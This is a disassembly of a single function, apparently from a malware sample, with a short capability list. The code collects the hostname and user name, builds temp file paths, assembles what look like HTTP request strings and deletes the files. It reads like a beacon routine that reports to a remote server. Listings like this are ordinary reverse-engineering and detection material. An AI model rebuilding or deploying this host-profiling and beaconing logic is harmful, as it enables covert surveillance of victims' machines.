Function at 0x10001a70
Capabilities:
Delete file
Get common file path
Get hostname
Get session user name
Reference http user-agent string

Disassembly:
mov eax, 0x17bc
call fcn.1000f780
mov eax, dword [0x1001603c]
xor eax, esp
mov dword [esp + 0x17b8], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x80
lea eax, [esp + 0x28]
push ebx
push eax
mov dword [esp + 0x24], ebx
call fcn.10009a30
add esp, 0xc
xor eax, eax
mov ecx, str.0F6D6F7865306E6F7261703130706576
lea esp, [esp]
cmp byte [ecx], bl
jne 0x10001ab9
cmp byte [ecx + 1], bl
je 0x10001ac6
mov dword [esp + eax*4 + 0x24], ecx
inc eax
add ecx, 0x200
jmp 0x10001ab0
mov dword [esp + eax*4 + 0x24], 0x10018788
inc eax
mov dword [esp + eax*4 + 0x24], 0x10018588
inc eax
lea ecx, [esp + 0x18]
mov edx, ecx
mov dword [esp + eax*4 + 0x24], ecx
mov dword [esp + eax*4 + 0x28], edx
cmp dword [0x10018b94], eax
jb 0x10001af4
mov dword [0x10018b94], ebx
push 0x7ce
lea ecx, [esp + 0x446]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov word [esp + 0x44c], ax
call fcn.10009a30
add esp, 0xc
lea edx, [esp + 0x440]
push edx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + 0x440]
push eax
call esi
cmp word [esp + eax*2 + 0x43e], 0x5c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x10001b5b
push 0x10013e98
lea ecx, [esp + 0x444]
push ecx
call edi
lea edx, [esp + 0x440]
push edx
push 0x10018d08
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x440]
push eax
call esi
lea ecx, [esp + eax*2 + 0x440]
mov eax, 0x10
push ecx
lea ebx, [eax - 8]
call fcn.10001600
add esp, 4
push 0x10013e9c
lea edx, [esp + 0x444]
push edx
call edi
push 0x7cf
lea eax, [esp + 0xc15]
push 0
push eax
mov byte [esp + 0xc1c], 0
call fcn.10009a30
push 0x3e7
lea ecx, [esp + 0x13f1]
push 0
push ecx
mov byte [esp + 0x13f8], 0
call fcn.10009a30
push 0x63
lea edx, [esp + 0xf1]
push 0
push edx
mov byte [esp + 0xf8], 0
call fcn.10009a30
xor eax, eax
push 0x2c
push eax
lea ecx, [esp + 0xd2]
push ecx
mov word [esp + 0xd4], ax
call fcn.10009a30
add esp, 0x30
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0xa8]
push eax
mov dword [esp + 0x24], 0x11
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [esp + 0xa4]
push ecx
call fcn.100019a0
xor edx, edx
push 0x206
mov esi, eax
push edx
lea eax, [esp + 0x246]
push eax
mov word [esp + 0x248], dx
call fcn.10009a30
add esp, 0x10
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x23c]
push edx
mov dword [esp + 0x28], 0x100
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [esp + 0x238]
push eax
call fcn.100019a0
push 0x100
lea ecx, [esp + 0x140]
push 0
push ecx
mov ebx, eax
call fcn.10009a30
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x10
push str.___kt_a__kc_b__kt_c__kc_d__kt_e__kc_f__r_g__r_h__r_i__r
lea edx, [esp + 0x13c]
push edx
call edi
lea eax, [esp + 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
test eax, eax
jle 0x10001ccd
inc byte [esp + ecx + 0x138]
inc ecx
cmp ecx, eax
jl 0x10001cc1
mov ecx, dword [0x10018d04]
mov edx, dword [0x10018d00]
mov eax, dword [0x10018cfc]
push ebx
push esi
push 0x10018bf8
push 0x10018b98
push ecx
mov ecx, dword [0x10018cf8]
push edx
mov edx, dword [0x10017aa8]
push eax
push ecx
push edx
lea eax, [esp + 0x15c]
push 0x1e
push eax
lea edx, [esp + 0x140c]
call fcn.10002d50
push esi
call fcn.100037f7
push ebx
call fcn.100037f7
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x34
xor eax, eax
mov dword [esp + 0x14], eax
lea esp, [esp]
cmp eax, dword [0x10018b94]
jae 0x10001d3b
inc eax
jmp 0x10001d28
mov esi, dword [esp + eax*4 + 0x24]
test esi, esi
je 0x10001ed3
cmp byte [esi], 0
jne 0x10001d56
cmp byte [esi + 1], 0
je 0x10001ed3
push 0x7d0
lea ecx, [esp + 0xc14]
push 0
push ecx
call fcn.10009a30
add esp, 0xc
push str.httmyn
lea edx, [esp + 0xc14]
push edx
call edi
push 0x10013ee8
lea eax, [esp + 0xc17]
push eax
call edi
push str.eererewrewrewrewrwerewrrewr
lea ecx, [esp + 0xe08]
push ecx
call edi
lea edx, [esp + 0xc17]
push edx
mov eax, esi
call fcn.100014e0
add esp, 4
push str._emotions_smile.gif_
lea eax, [esp + 0xc14]
push eax
call ebp
push 0x64
lea ecx, [esp + 0xd8]
push 0
push ecx
call fcn.10009a30
lea edx, [esp + 0xe0]
mov eax, 0x24
push edx
lea ebx, [eax - 0xc]
call fcn.10001570
add esp, 0x10
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax - 0xa]
call fcn.100036b5
cdq
idiv esi
lea ecx, [esp + 0x13e0]
push ecx
mov byte [esp + edx + 0xde], 0x3d
lea edx, [esp + 0xc14]
push edx
call ebp
lea eax, [esp + 0x440]
push eax
lea ecx, [esp + 0xc14]
push 0x10013f48
push ecx
call fcn.10001890
push 0x7d0
lea edx, [esp + 0xc20]
push 0
push edx
mov esi, eax
call fcn.10009a30
add esp, 0x18
test esi, esi
jne 0x10001ea6
lea eax, [esp + 0x440]
push 0x10013fd0
push eax
mov dword [0x10018d00], esi
mov dword [0x10018cfc], 1
call fcn.100038c8
add esp, 8
test eax, eax
jne 0x10001e85
mov eax, 1
lea esi, [eax + 2]
mov dword [esp + 0x10], esi
jmp 0x10001e9d
call fcn.10001f10
test eax, eax
jle 0x10001e97
lea esi, [eax + 2]
mov dword [esp + 0x10], esi
jmp 0x10001e9d
mov dword [esp + 0x10], eax
mov esi, eax
test esi, esi
je 0x10001ec1
cmp esi, 0xffffffff
je 0x10001ee7
lea ecx, [esp + 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
inc dword [esp + 0x14]
mov eax, dword [esp + 0x14]
jmp 0x10001d30
lea edx, [esp + 0x440]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, esi
jmp 0x10001eea
test eax, eax
jl 0x10001edf
mov dword [esp + 0x10], 1
mov esi, dword [esp + 0x10]
mov eax, esi
jmp 0x10001eea
or eax, 0xffffffff
mov ecx, dword [esp + 0x17c8]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10003569
add esp, 0x17bc
ret